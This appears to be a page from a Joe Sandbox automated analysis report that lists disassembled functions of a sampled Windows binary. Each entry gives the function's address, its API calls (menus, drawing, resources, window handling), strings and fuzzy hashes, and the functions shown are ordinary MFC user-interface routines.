Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CreateObject$RectSelect$CombineCompatibleH_prolog3Pixel
String ID:
API String ID: 682634522-0
Opcode ID: 9767c06225a6b29954f1117a37bc4695faba44e89b352ae4f4ec944f225aadee
Instruction ID: be2e03610f233facc83f670e269d1b159e59ecaf53f3e30cefdd96f9f39abd56
Opcode Fuzzy Hash: 9767c06225a6b29954f1117a37bc4695faba44e89b352ae4f4ec944f225aadee
Instruction Fuzzy Hash: CD414531805299EBCB11EF94D988AEEBBB8FF59300F048019E501F7211CB709E04DBA1

Function 00878A17 Relevance: 13.6, APIs: 9, Instructions: 85windowCOMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00878A43
GetMenuItemCount.USER32(?), ref: 00878A52
GetMenuItemCount.USER32(?), ref: 00878A5E
GetSubMenu.USER32(?,-00000001), ref: 00878A75
GetMenuItemCount.USER32(00000000), ref: 00878A88
GetSubMenu.USER32(00000000,00000000), ref: 00878A99
RemoveMenu.USER32(00000000,00000000,00000400,?,?,?,?,?,?,?,00A27E6C), ref: 00878AB3

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Menu$CountItem$Exception@8RemoveThrow
String ID:
API String ID: 4123913587-0
Opcode ID: 46822cd98b69480c3f8e5319639fabe4fdca53c9eb0838f7488b4612dbaddaf1
Instruction ID: 0017e0620d2e60a7245e10b71ccae9a2630fcd94f38166cfaac34f174cb3588e
Opcode Fuzzy Hash: 46822cd98b69480c3f8e5319639fabe4fdca53c9eb0838f7488b4612dbaddaf1
Instruction Fuzzy Hash: 75218D31540269FBCB108F78DC4E9AFBFB8FB40750B10C56AF40AE6264CB70DE419A51

Function 0088CBB2 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 87comCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0088CBBC
GetStockObject.GDI32(00000011), ref: 0088CBE0
GetStockObject.GDI32(0000000D), ref: 0088CBEF
GetObjectA.GDI32(00876BB3,0000003C,?), ref: 0088CC10
GetDeviceCaps.GDI32(?,0000005A), ref: 0088CC7B
OleCreateFontIndirect.OLEAUT32(00000020,00A0E3C0), ref: 0088CCA5

Strings

, xrefs: 0088CC19

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Object$Stock$CapsCreateDeviceFontH_prolog3_Indirect
String ID:
API String ID: 721287286-3916222277
Opcode ID: 8a81859f299b2cb71cb71417a4f594b6de8c7cb731134070c8a43f09fd5fd12d
Instruction ID: a00cb89e75a8b8d2d40d894a7fe8992caa4e1632bbfc2df3f88aca9669dad32c
Opcode Fuzzy Hash: 8a81859f299b2cb71cb71417a4f594b6de8c7cb731134070c8a43f09fd5fd12d
Instruction Fuzzy Hash: 04314970D0439AABCF11DFE5C955AADBFB4FF14304F10806AE445EB295EB749A04DB21

Function 00880BFA Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00880C1A
FindResourceA.KERNEL32(?,00000000,AFX_DIALOG_LAYOUT), ref: 00880C52
SizeofResource.KERNEL32(?,00000000), ref: 00880C64
LoadResource.KERNEL32(?,96528101), ref: 00880C71
LockResource.KERNEL32(00000000), ref: 00880C7E
FreeResource.KERNEL32(00000000), ref: 00880CA3

Strings

AFX_DIALOG_LAYOUT, xrefs: 00880C43

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Resource$FindFreeLoadLockSizeofWindow
String ID: AFX_DIALOG_LAYOUT
API String ID: 4180966417-2436846380
Opcode ID: 293afd183b0abf1648b525da36e97e1bf08092c213078be69b79e708f9a6bca4
Instruction ID: 500b910afe1155dad13019c4373bcdec06e8beb720d713b644841be75fd74045
Opcode Fuzzy Hash: 293afd183b0abf1648b525da36e97e1bf08092c213078be69b79e708f9a6bca4
Instruction Fuzzy Hash: 9A215E71A00305AFDB92AFA9C888A7E7BB9FF48711F148129E804D7250EB74CE48DB51

Function 00902675 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0090267C
_strlen.LIBCMT ref: 009026DE

Strings

BLUE_, xrefs: 009026D8
AQUA_, xrefs: 009026CA
SILVER_, xrefs: 009026C3
BLACK_, xrefs: 009026D1, 009026DD, 009026E5
IDX_OFFICE2007_STYLE, xrefs: 00902689

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: H_prolog3_strlen
String ID: AQUA_$BLACK_$BLUE_$IDX_OFFICE2007_STYLE$SILVER_
API String ID: 782648989-2717817858
Opcode ID: b4d1fe16815c36a962f0d2b70d96a2f9d4bf32ade170d7cdd74f7c20255f8290
Instruction ID: a5eab813945aee55c33eb174f72a0bf0f1f18aabfefea232074c55203e25e74b
Opcode Fuzzy Hash: b4d1fe16815c36a962f0d2b70d96a2f9d4bf32ade170d7cdd74f7c20255f8290
Instruction Fuzzy Hash: 4C11937290020D9FCB11EFA8C946ABEB7B9FF80314F25411AB515EB2D6CA718A41C752

Function 00878C89 Relevance: 12.2, APIs: 8, Instructions: 250filecomCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00878C90
OleDuplicateData.OLE32(?,?,00000000), ref: 00878D1D
GlobalLock.KERNEL32(00000000), ref: 00878D4B
CopyMetaFileA.GDI32(?,00000000), ref: 00878D59
GlobalUnlock.KERNEL32(00000000), ref: 00878D67
GlobalFree.KERNEL32(00000000), ref: 00878D6E
GlobalUnlock.KERNEL32(00000000), ref: 00878D76

Part of subcall function 00869D14: __EH_prolog3.LIBCMT ref: 00869D1B

CopyFileA.KERNEL32(?,?,00000000), ref: 00878F20

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Global$CopyFileUnlock$DataDuplicateFreeH_prolog3H_prolog3_LockMeta
String ID:
API String ID: 4039237054-0
Opcode ID: 5937858e92394570e83e121e94e7de3e57f28824260faad5f03217848b62b22e
Instruction ID: a7dc478b3a9df3ce1ce5af1b90a6580993ea5e73c8c7c45f6287d1352632d4db
Opcode Fuzzy Hash: 5937858e92394570e83e121e94e7de3e57f28824260faad5f03217848b62b22e
Instruction Fuzzy Hash: 49915B71554541EFDB289F68CD9D92ABBA9FF59300704C668F80EDB6A8DB70ED00CB60

Function 008CE002 Relevance: 12.2, APIs: 8, Instructions: 169windowCOMMON

Download Yara Rule

APIs

ReleaseCapture.USER32 ref: 008CE03C
IsWindow.USER32(?), ref: 008CE05D
DestroyWindow.USER32(?), ref: 008CE06D
GetParent.USER32(?), ref: 008CE093
IsRectEmpty.USER32(?), ref: 008CE165
IsWindowVisible.USER32(?), ref: 008CE1B1
MapWindowPoints.USER32(?,?,00000000,00000001), ref: 008CE1C7
SendMessageA.USER32(?,00000202,?,?), ref: 008CE1E6

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Window$CaptureDestroyEmptyMessageParentPointsRectReleaseSendVisible
String ID:
API String ID: 3509494761-0
Opcode ID: c9423661c0fa6e7e74c27c7e9ecbf233c705e22d391b804f93cc3c48177a42ec
Instruction ID: 3d14ddc9a2b6101112e0808e4b8d8b6ea4af6a84f5679aaa6d499d6df9946160
Opcode Fuzzy Hash: c9423661c0fa6e7e74c27c7e9ecbf233c705e22d391b804f93cc3c48177a42ec
Instruction Fuzzy Hash: FC514531600655ABDF159F64D899BAA3BB9FF08701F0840B9EC46DF2A2DB709E44CB91

Function 008829BE Relevance: 12.1, APIs: 8, Instructions: 136windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00882A02
BeginDeferWindowPos.USER32(00000008), ref: 00882A18
GetTopWindow.USER32(?), ref: 00882A2A
GetDlgCtrlID.USER32(00000000), ref: 00882A33
SendMessageA.USER32(00000000,00000361,00000000,00000000), ref: 00882A6B
GetWindow.USER32(00000000,00000002), ref: 00882A74
CopyRect.USER32(?,?), ref: 00882A8F
EndDeferWindowPos.USER32(00000000), ref: 00882B1C

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Window$DeferRect$BeginClientCopyCtrlMessageSend
String ID:
API String ID: 1228040700-0
Opcode ID: 341fc9127e66cf47a6f2434e12e19ab2d753843a4c7f40ece5bb53d1f44825a9
Instruction ID: a9e9a52b0c0e59cce430a244d93b3277ba37894ff300b8d16f3503db89107b14
Opcode Fuzzy Hash: 341fc9127e66cf47a6f2434e12e19ab2d753843a4c7f40ece5bb53d1f44825a9
Instruction Fuzzy Hash: D151F772900219DFCF25EFA4D889BADB7B4FF48311F14805AE815EB250D774AD44DB64

Function 008D4BC5 Relevance: 12.1, APIs: 8, Instructions: 113windowCOMMON

Download Yara Rule

APIs

MessageBeep.USER32(000000FF), ref: 008D4C2A
ReleaseCapture.USER32 ref: 008D4C7A
GetClientRect.USER32(?,?), ref: 008D4CA6
MapWindowPoints.USER32(?,?,?,00000002), ref: 008D4CBE
GetCursorPos.USER32(?), ref: 008D4CCE
ScreenToClient.USER32(?,?), ref: 008D4CDB
PtInRect.USER32(?,?,?), ref: 008D4CEB
SendMessageA.USER32(?,?,?,?), ref: 008D4D07

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ClientMessageRect$BeepCaptureCursorPointsReleaseScreenSendWindow
String ID:
API String ID: 1719883865-0
Opcode ID: bd4464e586f55d49eec6ae76e2c9be04922f77fbc87f1ad643acc138ff3d9104
Instruction ID: 62af843d66b4a85983caf0757d15a8ad1168d50c90139d8b3df42c7b2a8bc93c
Opcode Fuzzy Hash: bd4464e586f55d49eec6ae76e2c9be04922f77fbc87f1ad643acc138ff3d9104
Instruction Fuzzy Hash: C8419071610249EFCB019FA5D88CAAEBBB5FF48311F14816AE856DB361D730AD01DF50

Function 0089C2EB Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0089C2F2
CreateCompatibleDC.GDI32(?), ref: 0089C341
CreateCompatibleDC.GDI32(?), ref: 0089C353
SelectObject.GDI32(?,?), ref: 0089C370
SelectObject.GDI32(?,00000000), ref: 0089C388
BitBlt.GDI32(?,?,00000000,?,?,?,00000000,00000000,00CC0020), ref: 0089C3AE
SelectObject.GDI32(?,00000000), ref: 0089C3BC
SelectObject.GDI32(?,00000000), ref: 0089C3CA

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ObjectSelect$CompatibleCreate$H_prolog3
String ID:
API String ID: 2106698553-0
Opcode ID: 189501d02565ced21bc00629feb9cc41d77616ceaa654cdc1a3fd03e45d5e55c
Instruction ID: a57550f68d3737d530dcd9503a204555128ad546a9289959ac3ffe10172f55af
Opcode Fuzzy Hash: 189501d02565ced21bc00629feb9cc41d77616ceaa654cdc1a3fd03e45d5e55c
Instruction Fuzzy Hash: EF315C31910115EFDB15EFA4DD89AEDBBB4FF18300F148029F506E2261CB71AE04DBA1

Function 00888204 Relevance: 12.1, APIs: 8, Instructions: 77COMMON

Download Yara Rule

APIs

RealChildWindowFromPoint.USER32(?,?,?), ref: 00888228
ClientToScreen.USER32(?,?), ref: 00888243
GetWindow.USER32(?,00000005), ref: 0088824C
GetDlgCtrlID.USER32(00000000), ref: 0088825C
GetWindowLongA.USER32(00000000,000000F0), ref: 0088826C
GetWindowRect.USER32(00000000,?), ref: 0088828A
PtInRect.USER32(?,?,?), ref: 0088829A
GetWindow.USER32(00000000,00000002), ref: 008882A9

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Window$Rect$ChildClientCtrlFromLongPointRealScreen
String ID:
API String ID: 151369081-0
Opcode ID: b0959f5b345efdac69234a9964eb5bdcc3bf36cc561f073062a6a2855b8bcdec
Instruction ID: 63757bd4e938be747f57d7b2835372256ff5f2d30dcd70876782e3f8ce63abed
Opcode Fuzzy Hash: b0959f5b345efdac69234a9964eb5bdcc3bf36cc561f073062a6a2855b8bcdec
Instruction Fuzzy Hash: D821A17191165AEFCB119FA8CC89AAEBBB8FF48750F504129F801E7250DB34DE018B90

Function 00896383 Relevance: 12.1, APIs: 8, Instructions: 59COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000020), ref: 008963B2
GetSystemMetrics.USER32(00000021), ref: 008963BC
GetSystemMetrics.USER32(00000005), ref: 008963CB
GetSystemMetrics.USER32(00000006), ref: 008963D5
GetSystemMetrics.USER32(0000005C), ref: 008963E9
GetSystemMetrics.USER32(0000005C), ref: 008963F3
GetSystemMetrics.USER32(00000007), ref: 0089640B
GetSystemMetrics.USER32(00000008), ref: 00896415

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-0
Opcode ID: aea0f2f59aec34c4ac5eb46142544b7128060f2900bc3c142dbe1c2c8c801471
Instruction ID: d5bde761b8b66901a14274e66156cd2f1be2f432940d02fd538cef8b71275378
Opcode Fuzzy Hash: aea0f2f59aec34c4ac5eb46142544b7128060f2900bc3c142dbe1c2c8c801471
Instruction Fuzzy Hash: 2C1158B2614715BFEB206FA8D84C726B7E4FF24B11F19843DE686CB590E67198A09B10

Function 00878C0A Relevance: 12.0, APIs: 8, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GlobalSize.KERNEL32(?), ref: 00878C13
GlobalAlloc.KERNEL32(00002002,00000000), ref: 00878C2B
GlobalLock.KERNEL32(?), ref: 00878C3B
GlobalLock.KERNEL32(?), ref: 00878C44
GlobalSize.KERNEL32(?), ref: 00878C51

Part of subcall function 00869745: _memcpy_s.LIBCMT ref: 00869754

GlobalUnlock.KERNEL32(?), ref: 00878C62
GlobalUnlock.KERNEL32(?), ref: 00878C6B
GlobalSize.KERNEL32(?), ref: 00878C7B

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Global$Size$LockUnlock$Alloc_memcpy_s
String ID:
API String ID: 3833998449-0
Opcode ID: aaf0143451fade56b01fd116e7b7e8dab3389a2db14cdcf4549915accfef124e
Instruction ID: 14605a764dccc698412a228b7a988c720a57fcc0bab453de98904e7c29059f23
Opcode Fuzzy Hash: aaf0143451fade56b01fd116e7b7e8dab3389a2db14cdcf4549915accfef124e
Instruction Fuzzy Hash: BC017171515284FFD7516FA5ECCCC6A7E6CFB446917809124F90ADA111DE71CE00A660

Function 008F85F6 Relevance: 10.8, APIs: 7, Instructions: 311COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 008F8652
GetClientRect.USER32(00000000,?), ref: 008F8681
InflateRect.USER32(?,?,?), ref: 008F86A9
SetRectEmpty.USER32(00000001), ref: 008F8721
SetRectEmpty.USER32(00000001), ref: 008F87BE
SetRectEmpty.USER32(00000001), ref: 008F881D
InflateRect.USER32(00000001,?,?), ref: 008F895E

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Rect$Empty$Inflate$ClientWindow
String ID:
API String ID: 3039100667-0
Opcode ID: 937f40ee0bb8daa828d98e1ac5839a7d70d676777537a148b53404f613efb6d7
Instruction ID: 37cb9c5b8ee010cec45054208ed351a4e4427962428b24bb2d17bc6c3ab7e769
Opcode Fuzzy Hash: 937f40ee0bb8daa828d98e1ac5839a7d70d676777537a148b53404f613efb6d7
Instruction Fuzzy Hash: D1C1D372E10219CBCF14DFA8C9846EDBBB5FF48315F28416AE905FB245DB71A944CBA0

Function 008727E9 Relevance: 10.7, APIs: 7, Instructions: 247COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 008727F0
InflateRect.USER32(00000000,00000000,000000FE), ref: 0087289F
OffsetRect.USER32(00000000,00000002,00000000), ref: 008728AD
InflateRect.USER32(00000000,000000FE,00000000), ref: 008728C3
OffsetRect.USER32(00000000,00000000,00000002), ref: 008728D1
DrawThemeBackground.UXTHEME(00000000,?,00000001,00000000,00000000,00000000), ref: 008728FA
GetTextMetricsA.GDI32(?,?), ref: 008729C4

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Rect$InflateOffset$BackgroundDrawH_prolog3_MetricsTextTheme
String ID:
API String ID: 1963457749-0
Opcode ID: f482628e3884d38ff5f0d94b64719516845d4b61fc3f3b3d7b348f73e599edca
Instruction ID: 47f32bf33246154719ff2871d9522ca20692bf840eccc73b2d15a2df630e450b
Opcode Fuzzy Hash: f482628e3884d38ff5f0d94b64719516845d4b61fc3f3b3d7b348f73e599edca
Instruction Fuzzy Hash: 61917C71900619AFCF14DFA4CC89AAEBBB9FF48310F158568E846EB291DB74E900CF51

